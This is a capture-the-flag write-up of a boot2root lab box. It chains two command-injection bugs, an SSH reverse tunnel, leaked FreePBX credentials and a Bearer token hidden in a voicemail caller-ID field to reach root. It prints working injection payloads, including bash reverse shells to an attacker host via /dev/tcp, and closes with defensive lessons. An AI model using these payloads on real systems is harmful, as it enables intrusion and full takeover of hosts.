Two shells on one box: a public-facing command injection for the first foothold, then a root-owned automation API reachable only on loopback — bridged by a Bearer token someone left sitting in a FreePBX voicemail caller-ID field.
Summary
Infinity Pool (Byte Lotus Hotel series, Boot2Root, Web, 90 pts, Medium) is two
command-injection bugs wearing a trench coat. The public "staff connectivity"
tool on the edge web app gets you a foothold as a low-priv service user. From
there, ss -tlnp reveals a wall of loopback-only internal services — a PBX
stack, a MySQL instance, and a Flask "ops console" called Watchtower feeding a
root-owned automation job-runner. Getting from foothold to root means pivoting
into the loopback network with an SSH reverse tunnel, logging into a FreePBX
user portal with leaked template credentials, and finding a Bearer token
stashed somewhere nobody would think to grep: the Caller ID field of a
voicemail message. That token unlocks a second, near-identical injection bug —
this one running as root.
Recon
Standard full-port sweep first — no assumptions, even though the room tag says "Web":
nmap -sC -sV -p- -T4 -oN scan.txt <target-ip>
Only two ports open: 22 (OpenSSH) and 80 (HTTP). Nothing exotic yet — the
interesting stuff is all internal and shows up later.
Viewing the page source on / turned up a JS comment that most scanners would
skim right past:
// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
console.log("Stay Noticed™");
robots.txt confirmed both /status and /internal/netcheck were disallowed
— which in pentest terms means "indexed by nobody, found by everybody."
Read the comments
Devs leave TODOs in production JS more often than you'd think. robots.txt
disallow entries are a map of what someone wanted hidden from search engines,
not from you.
Vulnerability 1: edge app command injection
/status renders a small "sister-property connectivity" form — a staff tool
to ping a remote host before routing a guest transfer:
<form method="post" action="/internal/netcheck" class="tool">
<input type="text" name="host" value="<target-ip>" placeholder="property host e.g. 10.0.0.5">
<button type="submit">Check</button>
</form>
The rendered output was a literal ping command result. That smell —
user-controlled value, shell-looking output — usually means one thing.
Confirmed with a benign chained command:
curl -s -X POST http://<target-ip>/internal/netcheck -d "host=<attacker-ip>;id"
Response included uid=1001(web) gid=1001(web) groups=1001(web) right next to
the ping output. Classic unsanitized subprocess.run(f"ping -c 1 {host}", shell=True) — confirmed later by reading the source at
/var/www/infinity_pool/edge/app.py.
Exploit: foothold
Reverse shell via the same injection point, this time with the shell detached from the HTTP request lifecycle so it survives the request completing:
# listener
nc -lvnp 4444
# payload — setsid + input redirect so the child isn't tied to the parent request
curl -s -X POST http://<target-ip>/internal/netcheck \
--data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"
First attempt died
The first payload (host=<ip>;bash -c '...') ran fine but died the moment the
underlying HTTP request finished — the child shell was still attached to the
web worker's process tree. Wrapping it in setsid ... < /dev/null & detaches
it properly. If your reverse shell keeps dropping right after landing, this is
almost always why.
Stabilized the tty immediately:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
User flag was sitting in the web home directory. Standard privesc checks
(sudo -l, find / -perm -4000, /etc/cron.d) all came back clean — every
SUID binary was a stock Debian/snap one, the cron.d entries were vanilla PHP
session cleanup, and sudo -l demanded a password we didn't have. All three
were dead ends by design; the real path was sideways, not up.
Pivoting: what's actually running on this box
ss -tlnp from the foothold told a different story than two open ports
suggested:
127.0.0.1:3000 -> gunicorn (Watchtower ops console)
127.0.0.1:5038 -> Asterisk Call Manager (AMI)
0.0.0.0:80 -> gunicorn (the edge app we already own)
127.0.0.1:9000 -> gunicorn (root-owned automation job runner)
127.0.0.1:3306 -> MySQL
127.0.0.1:8080 -> Apache / FreePBX UCP
curl http://127.0.0.1:3000/ returned a Watchtower "ops console" dashboard —
loopback-only, "authenticated by network position" (i.e. no auth beyond being
local), with a tile reading automation worker: root. curl .../api/config on the same app leaked a JSON blob with FreePBX UCP
credentials and a note: "UCP still on default template creds
(FreePBXUCPTemplateCreator) — ROTATE." Nobody rotated them.
The UCP portal (127.0.0.1:8080/ucp) is loopback-only too, so browsing it
directly wasn't an option. SSH reverse tunnel from the target, back to a
listening sshd on the attacker box:
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>
`/dev/tty` gotcha
First attempt failed with Permission denied (publickey,password) even
though PasswordAuthentication yes and PermitRootLogin yes were both set
correctly server-side. Verbose mode (ssh -vvv) showed the real error:
read_passphrase: can't open /dev/tty: No such device or address. The
reverse shell had no controlling terminal, so ssh couldn't prompt for a
password and silently sent an empty one, every time. Fix: either sshpass
(sidesteps /dev/tty entirely), or run the pty-upgrade sequence above so the
shell has a real controlling terminal before invoking ssh interactively.
`Include` ordering in sshd_config
Also worth knowing: /etc/ssh/sshd_config has Include /etc/ssh/sshd_config.d/*.conf near the top of the file. OpenSSH keeps the
first value seen for a given keyword — so a conflicting directive dropped
into that include directory silently wins over anything set later in the main
file. Always check both when a config change "isn't taking."
With the tunnel up, browsing http://127.0.0.1:8080/ucp from the attacker
box logged straight in with the leaked FreePBXUCPTemplateCreator /
<UCP_PASSWORD> credentials.
Credential discovery: the voicemail nobody deletes
UCP for this account was mostly empty — a "Loopback-Only Console" surveillance
dashboard, an add-widget screen, nothing obviously useful. AMI on 5038
rejected both the UCP creds and the classic FreePBX default (admin/amp111)
— a red herring, not the intended path. /etc/freepbx.conf and
/etc/amportal.conf were readable-by-listing but owned asterisk:asterisk,
permission denied. A recursive grep for bearer/token/api_key across the
filesystem returned nothing but noise from unrelated library source (the word
"token" shows up constantly in tokenizer code).
The actual secret was in the one place a grep across app source would never find it: a voicemail message. Adding the Voicemail widget to the UCP dashboard and opening the inbox showed one message, three seconds long, with its Caller ID field set to:
"Automation Key cc_auto_<redacted>" <9000>
Someone used the CID name field — meant for a caller's display name — to pass an API secret between two systems that don't share a filesystem. It's not technically a file leak, so none of the source-code or log-grepping technique would have caught it; it only showed up once the UCP UI was actually explored end to end instead of just curled.
Enumerate the UI, not just the API
curl-ing known endpoints is fast, but this box is a reminder that some data
only exists inside rendered application state (a voicemail inbox, a
dashboard widget) that a generic scanner or wordlist will never surface.
Once you have working creds for a UI, actually click around it.
Vulnerability 2: automation job-runner command injection
journalctl for the automation service came back empty, and fuzzing its
routes with common.txt found nothing — until fuzzing under an /internal/
prefix (matching the naming convention already seen on the edge app) turned
up /internal/health (mirrored publicly as /health), which self-documented
the API:
{
"endpoints": {
"GET /health": "service status",
"POST /jobs/export": {
"auth": "Authorization: Bearer <automation key>",
"body": {"report": "<report name>"},
"desc": "archive the latest data export"
}
},
"runs_as": "root",
"service": "automation",
"status": "ok"
}
Straight from 127.0.0.1:9000 on the target itself (still loopback-only, no
tunnel needed for command-line testing):
curl -s -i -X POST http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer cc_auto_<redacted>" \
-H "Content-Type: application/json" \
-d '{"report":"test"}'
The response echoed the exact shell command it built server-side:
{"command":"tar czf /var/automation/exports/test.tgz /var/automation/data 2>&1", "output": "..."}
Same team, same mistake as the edge app: unsanitized string interpolation
into a shell=True call, report dropped straight into the tar filename
with no quoting. First injection attempt (test; id) half-worked — the ;
correctly broke into a second command, but id glued directly onto the
trailing .tgz became the invalid command id.tgz. Fixed with a shell
comment to swallow the rest of the line:
curl -s -X POST http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer cc_auto_<redacted>" \
-H "Content-Type: application/json" \
-d '{"report":"test; id #"}'
{"output": "uid=0(root) gid=0(root) groups=0(root)\ntar: Cowardly refusing to create an empty archive\n..."}
Root command execution, confirmed.
Exploit: root
Same detached-reverse-shell pattern as the foothold, this time through the
report field:
# listener
nc -lvnp 4445
curl -s -X POST http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer cc_auto_<redacted>" \
-H "Content-Type: application/json" \
-d '{"report":"test; setsid bash -c \"bash -i >& /dev/tcp/<attacker-ip>/4445 0>&1\" < /dev/null & #"}'
Listener catches a shell with uid=0(root). Root flag in /root/. Done.
THM{<redacted>}
Why this works
Both bugs are the same root cause wearing different clothes: building a shell
command with an f-string (or equivalent) and handing it to subprocess.run(..., shell=True) without quoting or an argument list. Once you've seen the pattern
once (the edge app's ping -c 1 {host}), it's worth actively checking whether
the same dev team repeated it elsewhere — which is exactly how the /internal/
naming convention led to finding the automation app's hidden routes, and how
the injection technique (; + trailing shell comment) transferred cleanly
from the first bug to the second.
The privilege boundary that mattered wasn't a SUID binary or a cron job — it
was network position. web couldn't read /var/automation or talk to AMI
with real credentials, but it could reach 127.0.0.1:9000 directly, because
"loopback-only" was treated as equivalent to "trusted," with no additional
authentication layer beyond the Bearer token check — and that token had
leaked sideways into a completely unrelated subsystem (telephony voicemail)
that nobody thought to treat as sensitive.
Lessons
shell=Truewith an f-string is one bug, everywhere it appears. If you find it once, go looking for the second and third instance — dev teams repeat patterns.- "Loopback-only" is not an access control. This box authenticated
POST /jobs/exportwith a static Bearer token, but the Watchtower console itself required nothing beyond being on127.0.0.1— that's a network boundary being used as an auth boundary, and it collapses the moment anything on the box is compromised. - Secrets leak sideways, not just downward. A grep across app source and config files won't find a token someone pasted into a phone system's caller-ID field. Once you have working UI credentials, explore the UI, not just the API surface.
sshd_configIncludedirectives take priority by first-match — if a fix "isn't applying," check the include directory before doubting your own edit.- Reverse shells spawned from within a request handler die with the request
unless detached (
setsid ... < /dev/null &). Build that into the payload from the first attempt, not after losing a shell.